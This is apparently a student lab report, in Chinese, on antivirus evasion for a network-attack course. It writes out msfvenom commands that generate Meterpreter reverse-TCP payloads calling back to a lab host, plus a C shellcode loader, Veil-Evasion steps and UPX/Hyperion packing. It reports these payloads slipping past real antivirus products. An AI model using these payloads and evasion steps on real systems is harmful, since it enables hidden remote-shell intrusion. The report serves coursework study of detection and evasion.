目錄
- 2018-2019 20165208 網絡對抗 Exp3 免殺原理與實踐
- 實驗內容
- 基礎問題回答
- 實踐過程記錄
- 任務一:正確使用免殺工具或技巧
- 任務二:通過組合應用各種技術實現惡意代碼免殺
- 任務三:用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本
- 開啟殺軟能絕對防止電腦中惡意代碼嗎?
- 實驗中遇到的問題及解決方法
- 實驗總結與體會
2018-2019 20165208 網絡對抗 Exp3 免殺原理與實踐
實驗內容
正確使用msf編碼器(0.5分),msfvenom生成如jar之類的其他文件(0.5分),veil-evasion(0.5分),加殼工具(0.5分),使用shellcode編程(1分)
通過組合應用各種技術實現惡意代碼免殺(0.5分)(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)
用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本(加分0.5)
基礎問題回答
1. 殺軟是如何檢測出惡意代碼的?
- 通過特征碼:通過檢索文件中是否包含惡意代碼MAL里有并且其他軟件沒有的特征碼。
- 啟發式:通過片面特征去判斷。(不保證精確性)
- 基于行為:通過對惡意代碼的觀察研究,發現某些特定的行為可能是惡意代碼的行為。殺軟在監視程序運行的過程中,如果發現了這些特殊行為,就會認為其是惡意軟件。
2. 免殺是做什么?
通過一些特定的操作,使惡意代碼不易被殺毒軟件所發現。例如偽裝,加密,對shellcode進行變形,利用veil進行重寫重編譯。
3. 免殺的基本方法有哪些?
- 改變特征碼
- 只有EXE的情況下:加殼(壓縮殼、加密殼)
- 有shellcode的情況下:用encode進行編碼,基于payload重新編譯生成可執行文件。
- 有源代碼:用其他語言進行重寫再編譯。
- 改變行為
- 通訊方式:盡量使用反彈式連接、使用隧道技術、加密通訊數據。
- 操作模式:基于內存操作、減少對系統的修改、加入混淆作用的正常功能代碼。
- 非常規行為
- 使用一個有漏洞的應用作為后門,編寫攻擊代碼集成到如MSF中
- 使用社工類攻擊,誘騙目標關閉AV軟件
- 純手工打造一個惡意軟件
實踐過程記錄
任務一:正確使用免殺工具或技巧
1、 使用msf編碼器,msfvenom生成如jar之類的其他文件。
msf編碼器
Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度。理所當然,所有AV廠家都盯著呢,一有新編碼算法,馬上就得加到特征庫里呀。
編碼后呢,按理論上講,編碼會降低檢出率,大不了多編碼幾次,總會檢不出來。
- 編碼一次命令如下(用-e參數編碼):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.235.128 LPORT=5208 -f exe > met-encoded.exe
放去virscan掃描,28款殺軟檢測出了病毒。(注:由于學號涉及virscan的屏蔽詞,所以檢測文件名部分進行了更改)
- 編碼十次命令如下(用-i參數指定編碼次數):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.128 LPORT=5208 -f exe > 20165208_back2.exe
再放去掃描,27款殺軟檢測出了病毒,效果不大
jar文件
- 生成.jar文件夾
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.128 lport=5208 x> 20165208_backdoor_java.jar
- 六款軟件檢測出了病毒,優秀!
php文件
- msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.235.128 lport=5208 x> 20165208_backdoor.php
- 生成php文件后,只有一款軟件查出了問題!出乎意料!
2、使用veil-evasion
由于安裝一直出現問題,在嘗試幾次無解后拷貝了同學的虛擬機。。。
- 在終端中使用
veil
命令進入應用 > 輸入use evasion
進入veil-evasion 然后設置回連IP(此處IP是kali)和端口,輸入
generate
生成文件,接著輸入你想要payload的名字:veil_c_5208
輸入use c/meterpreter/rev_tcp.py
- 設置反彈連接IP,命令為:
set LHOST 192.168.235.128
,注意此處的IP是KaliIP; 設置端口,命令為:
set LPORT 5208
- 輸入
generate
生成文件,接著輸入你想要playload的名字:veil_c_5208
放去掃描,15款殺軟檢測出了病毒
3、 半手工注入Shellcode并執行
- 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=5208 -f c用c語言生成一段shellcode;
- 創建一個文件20165208.c,然后將unsigned char buf[]賦值到其中,代碼如
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此處省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";int main()
{int (*func)() = (int(*)())buf;func();
}
- 使用命令:i686-w64-mingw32-g++ 20165208.c -o 20165208.exe編譯這個.c文件為可執行文件;
- 檢測結果如下圖,有13款殺軟發現了問題
- 移到windows上執行該程序時,被電腦的360衛士查殺。
4、 應用加殼工具
加殼的全稱應該是可執行程序資源壓縮,壓縮后的程序可以直接運行。
加殼的另一種常用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,之后再把控制權交還給原始代碼,這樣做的目的是為了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基于此原理。
加殼的程序需要阻止外部程序或軟件對加殼程序本身的反匯編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。
這種技術也常用來保護軟件版權,防止軟件被破解。但對于病毒,加殼可以繞過一些殺毒軟件的掃描,從而實現它作為病毒的一些入侵或破壞的一些特性。
MSF的編碼器使用類似方法,對shellcode進行再編碼。
在技術上分殼分為:
- 壓縮殼(減少應用體積,如ASPack,UPX)
- 加密殼(版權保護,反跟蹤。如ASProtect,Armadillo)
- 虛擬機(通過類似編譯手段,將應用指令轉換為自己設計的指令集。如VMProtect,Themida)
使用壓縮殼(UPX)
- 給之前的20165208.exe加個殼得到ky_upxed.exe:
- 掃描一下,16款軟件發現了問題
使用加密殼(Hyperion)
- 進入目錄 /usr/share/windows-binaries/hyperion/中;
- 輸入命令
wine hyperion.exe -v ky.upxed.exe ky.upxed.Hyperion.exe
進行加殼: - 再去掃一遍,更多了。。。
任務二:通過組合應用各種技術實現惡意代碼免殺
- 通過組合半手工制作shellcode,壓縮殼,加密殼達到了免殺的目的
- 任務截圖如下:
任務三:用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本
注意:由于換了網絡,IP地址會發生變化,shellcode一定要重新生成!!!
免殺方法:先用msfvenom生成shellcode,再使用壓縮殼加殼。
實驗環境:對方電腦為 win7主機,騰訊電腦管家13.0.19837.233
開啟殺軟能絕對防止電腦中惡意代碼嗎?
不能!!!!!你看實驗中僅僅做到UNX加殼,49款軟件中就只有1款發現了它。
但是在實驗中我們注意到360殺毒這個流氓軟件云上傳這個功能也是相當狂拽酷炫了。。。起初我們的UPX加殼完全木得問題,但是我們沒有關云計劃。。。然后我們看到了這個。。。
然后第一次我們運行還是會被免殺的UNX文件,第二次就涼了。。。。
實驗中遇到的問題及解決方法
1、實驗中不止一次出現了虛擬機IP地址顯示為127.0.0.1
的情況,無法ping通也無法上網。
解決方法:實驗最初出現了這個問題,考慮到可能是在做另一門實驗對VMware虛擬機網絡進行了設置,查了下網上的解決方法。
不過很遺憾沒有成功,后來我又嘗試了自己對橋接、NAT模式進行了設置,也沒有效果。。。于是選擇了還原默認設置,在進行重啟。
第一次的問題解決了。
不過在我和同學的虛擬機打算相連時,又一次的出現了上述的問題。我按照之前的操作步驟來不好使了。后來是在將網絡設置改成Nat模式重啟,再轉為橋接模式!!!!一定要注意這個時候不要重啟!!!然后就可以了。心疼無數次重啟無數次失敗的自己。。。
實驗總結與體會
本次實驗通過利用一些工具實現了病毒的免殺,不得不說我在看到轉換為php文件后就只有一款殺毒軟件發現了它的時候我是震驚的!!!不過在我的主機上php文件沒有找到可以打開的方式。除此之外在學習其他免殺方法時,我嘗試了捆綁壓縮并隱藏,雖然失敗了,但是也是頭一次發現了壓縮包還可以有這么多設置,以后解壓縮文件也不是很放心了。
聽了這么多節課,也做了好多次實驗,我發現對于計算機水平不錯的人來說,編寫個病毒真的是很容易了,而且我想象中的殺軟也會有漏洞,感覺之前會覺得不容易碰到的木馬病毒,其實不需要什么功夫就可以入侵你的電腦了。所以我們除了基礎防范,一定要在官方渠道下載軟件,即時更新殺軟版本,病毒庫的更新真的很主要。